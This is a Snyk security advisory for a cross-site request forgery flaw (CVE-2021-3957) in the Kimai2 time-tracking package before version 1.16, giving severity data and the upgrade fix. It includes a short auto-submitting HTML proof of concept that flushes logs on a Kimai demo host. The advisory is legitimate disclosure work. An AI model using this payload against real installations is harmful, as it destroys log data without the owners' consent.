Cross-site Request Forgery (CSRF) Affecting kevinpapst/kimai2 package, versions <1.16


Severity

Recommended
0.0
low
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.07% (34th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-KEVINPAPSTKIMAI2-1922974
  • published19 Nov 2021
  • disclosed19 Nov 2021
  • creditUnknown

Introduced: 19 Nov 2021

CVE-2021-3957  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade kevinpapst/kimai2 to version 1.16 or higher.

Overview

kevinpapst/kimai2 is a web-based multiuser time-tracking application.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) via the delete functionality of the doctor feature, causing logs to be flushed.

PoC

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo-stable.kimai.org/de_CH/doctor/flush-log">
  <input type="submit" value="Submit request" />
</form>
<script> document.forms[0].submit(); </script>
</body> </html>

References

CVSS Scores

version 3.1